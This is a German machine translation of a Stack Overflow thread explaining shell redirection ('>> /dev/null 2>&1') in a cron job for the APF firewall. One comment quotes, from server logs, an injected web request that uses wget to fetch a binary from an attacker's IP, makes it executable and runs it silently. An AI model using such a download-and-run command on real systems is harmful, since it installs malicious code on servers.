Was ist / dev / null 2> & 1?

237

Ich habe diesen Code in /etc/cron.daily/apf gefunden

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Die Firewall wird geleert und neu geladen.
Ich verstehe den >> /dev/null 2>&1Teil nicht.

Was ist der Zweck, dies in der Cron zu haben? Es überschreibt meine Firewall-Regeln. Kann ich diesen Cron-Job sicher entfernen?

ruhen
quelle
1
Zu Ihrer Information: Eine kürzere Möglichkeit, einen Prozess zum Schweigen zu bringen, ist >&- 2>&-.
Zaz
22
@ Josh: Warum die Dinge noch kryptischer machen als sie bereits sind?
Endolith
4
@Josh Dies schließt die jeweiligen FDs, wodurch die Programme abgebrochen werden können.
glglgl
1
ist 2>&1 > /dev/nulldas gleiche wie > /dev/null 2>&1 ? Es scheint mir natürlicher ...
Edelans
6
@edelans Nein. Auf diese Weise wird stderr zum stdout umgeleitet, aber dann wird nur noch das ursprüngliche stdout zu /dev/null-stderr ausgegeben. Probieren Sie das Tool unter gist.github.com/zigg/344361751c0110419b0f
zigg

Antworten:

354

>> /dev/nullleitet die Standardausgabe ( stdout) an um /dev/null, wodurch sie verworfen wird.

(Das >>scheint seitdem irgendwie überflüssig>> "Anhängen" bedeutet, während >"Abschneiden" und "Schreiben" bedeutet und entweder "Anhängen" oder "Schreiben an" /dev/nullden gleichen Nettoeffekt hat. Normalerweise verwende ich dies nur >aus diesem Grund.)

2>&1Leitet Standardfehler ( 2) an Standardausgabe ( 1) um, die ihn dann ebenfalls verwirft, da die Standardausgabe bereits umgeleitet wurde.

Zickzack
quelle
7
Was bedeutet das &Symbol anzuzeigen , da drin 2>&1.
Niemand
17
& gibt einen Dateideskriptor an. Normalerweise gibt es 3 Dateideskriptoren - Standardeingabe, -ausgabe und -fehler.
Testing123
1
@ Niemand überprüfen Sie meine Antwort unten für Ihre Frage stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant
1
Wenn & einen Dateideskriptor angibt, warum gibt es dann kein & vor 2?
user6708151
1
Nur für den Fall, dass andere die folgende Antwort zur Erläuterung der Dateideskriptoren nicht lesen:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain
199

>> /dev/null 2>&1Teilen wir die Aussage in Teile auf:


Teil 1: >> Ausgabeumleitung

Dies wird verwendet, um die Programmausgabe umzuleiten und die Ausgabe am Ende der Datei anzuhängen. Mehr...


Teil 2: /dev/null Spezialdatei

Dies ist eine spezielle Pseudo-Gerätedatei .

Der Befehl ls -l /dev/nullgibt Ihnen Details zu dieser Datei:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Hast du beobachtet crw? Dies bedeutet, dass es sich um eine Pseudo-Gerätedatei handelt , die vom Typ einer speziellen Zeichendatei ist und seriellen Zugriff bietet.

/dev/nullakzeptiert und verwirft alle Eingaben; erzeugt keine Ausgabe (gibt beim Lesen immer eine Dateiende-Anzeige zurück). Referenz: Wikipedia


Teil 3: 2>&1 Dateideskriptor

Wenn Sie ein Programm ausführen, öffnet das Betriebssystem immer drei Dateien: Standardeingabe, Standardausgabe und Standardfehler. Wie wir wissen, gibt das Betriebssystem (vom Kernel ) beim Öffnen einer Datei eine nicht negative Ganzzahl zurück, die als Dateideskriptor bezeichnet wird . Der Dateideskriptor für diese Dateien ist 0, 1 bzw. 2.

Also 2>&1einfach Standardfehler zur Standardausgabe umleiten.

& bedeutet, was auch immer folgt, ist ein Dateideskriptor, kein Dateiname.

Kurz gesagt, mit diesem Befehl weisen Sie Ihr Programm an, während der Ausführung nicht zu schreien.

Was ist die Bedeutung der Verwendung 2>&1 ?

Wenn Sie keine Ausgabe erzeugen möchten, auch wenn im Terminal ein Fehler auftritt. Betrachten wir zur besseren Erläuterung das folgende Beispiel:

$ ls -l > /dev/null

Für den obigen Befehl wurde keine Ausgabe im Terminal gedruckt, aber was ist, wenn dieser Befehl einen Fehler erzeugt:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Obwohl ich die Ausgabe auf umlenke /dev/null, wird sie im Terminal gedruckt. Dies liegt daran, dass wir die Fehlerausgabe nicht umleiten. /dev/nullUm auch die Fehlerausgabe umzuleiten, müssen Sie Folgendes hinzufügen 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
quelle
2
Gutes Beispiel! Weiß nicht, dass '>' 'STDERR' vorher nicht umleitet.
miao.wang
Schön erklärt! sehr informativ. Vielen Dank. Es würde mir helfen, den Webangriff zu verstehen, auf den ich kürzlich gestoßen bin. Der Angreifer injiziert bösartigen Code über eine POST-Anfrage, die den obigen Code enthält.
Sohel Pathan
1
@Vishrant Injizierter Code lautet wie folgt: POST / Benutzer / Passwort? Name [% 23post_render] [] = System & Name [% 23markup] = CD + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx ist die IP des Angreifers und wird auf vielen Websites auch als missbräuchlich aufgeführt. In erster Linie ist der vorbeugende Schritt das Blockieren der IP in der Firewall sowie das Muster solcher IPs. Der Angriff bestand darin, beim Laden der Homepage auf die Website eines Drittanbieters umzuleiten. Im Apache-Serverprotokoll wurden zweifelhafte IP-Adressen und Anforderungen angezeigt.
Sohel Pathan
5
Ich habe mich nur gefragt, warum wir '&' nicht auch vor 2 verwenden. Könnte jemand bitte meinen Zweifel klären?
Snehasish Karmakar
1
@ SnehasishKarmakar eine berechtigte Frage. Ich glaube , O klug genug ist , dass die erste Argument zu verstehen , wird ein Dateideskriptor sein , aber >ein Umleitungsoperator ist, was auch immer Umleitungsoperator folgt wird erwartet , das Hinzufügen eine Datei Lage sein , &bevor 1zeigt an, dass es nicht eine Datei ist , wenn die Anwendung hat die Ausgabe umleiten , aber ein Dateideskriptor. Ich würde mich freuen, wenn jemand weitere Details zu diesem Kommentar hinzufügen kann.
Vishrant
58

Auf diese Weise können Sie ein Programm leise ausführen und alle seine Ausgaben verbergen.

/dev/nullist ein spezielles Dateisystemobjekt, das alles verwirft, was in es geschrieben wurde. Wenn Sie einen Stream in diesen Stream umleiten, wird die Ausgabe Ihres Programms ausgeblendet.

Der 2>&1Teil bedeutet "Fehlerstrom in den Ausgabestream umleiten". Wenn Sie also den Ausgabestream umleiten, wird der Fehlerstrom ebenfalls umgeleitet. Selbst wenn Ihr Programm stderrjetzt schreibt, wird diese Ausgabe ebenfalls verworfen.

dasblinkenlight
quelle
37
Eigentlich 2>&1leitet tatsächlich stderrzu weiter stdout. Der Unterschied zwischen diesem und dem, was Sie behauptet haben, lässt sich am besten durch Vertauschen der Reihenfolge der Weiterleitungen veranschaulichen, z 2>&1 >/dev/null.
Zigg
15

/dev/null ist eine Standarddatei, die alles verwirft, was Sie darauf schreiben, aber meldet, dass der Schreibvorgang erfolgreich war.

1ist Standardausgabe und 2ist Standardfehler.

2>&1Leitet den Standardfehler zur Standardausgabe um. &1Gibt den Dateideskriptor (Standardausgabe) an. Andernfalls (wenn Sie nur verwenden 1) leiten Sie den Standardfehler in eine Datei mit dem Namen um 1. [any command] >>/dev/null 2>&1Leitet alle Standardfehler zur Standardausgabe um und schreibt dies alles in /dev/null.

Yuriy
quelle
7

ich benutze >> /dev/null 2>&1 für einen stillen Cronjob. Ein Cronjob erledigt den Job, sendet aber keinen Bericht an meine E-Mail.

Soweit ich weiß, nicht entfernen /dev/null. Dies ist besonders dann nützlich, wenn Sie cPanel ausführen . Es kann zum Wegwerfen von Cronjob-Berichten verwendet werden.

Christian
quelle
2

Wie von den anderen beschrieben, eliminiert das Schreiben in / dev / null die Ausgabe eines Programms. Normalerweise sendet cron eine E-Mail für jede Ausgabe des Prozesses, der mit einem Cronjob gestartet wurde. Wenn Sie also die Ausgabe in / dev / null schreiben, verhindern Sie Spam, wenn Sie Ihre Adresse in cron angegeben haben.

FSMaxB
quelle
0

Bearbeiten /etc/conf.apf. Stellen Sie ein DEVEL_MODE="0". DEVEL_MODEset to 1fügt einen Cron-Job hinzu, um apf nach 5 Minuten zu stoppen.

dstonek
quelle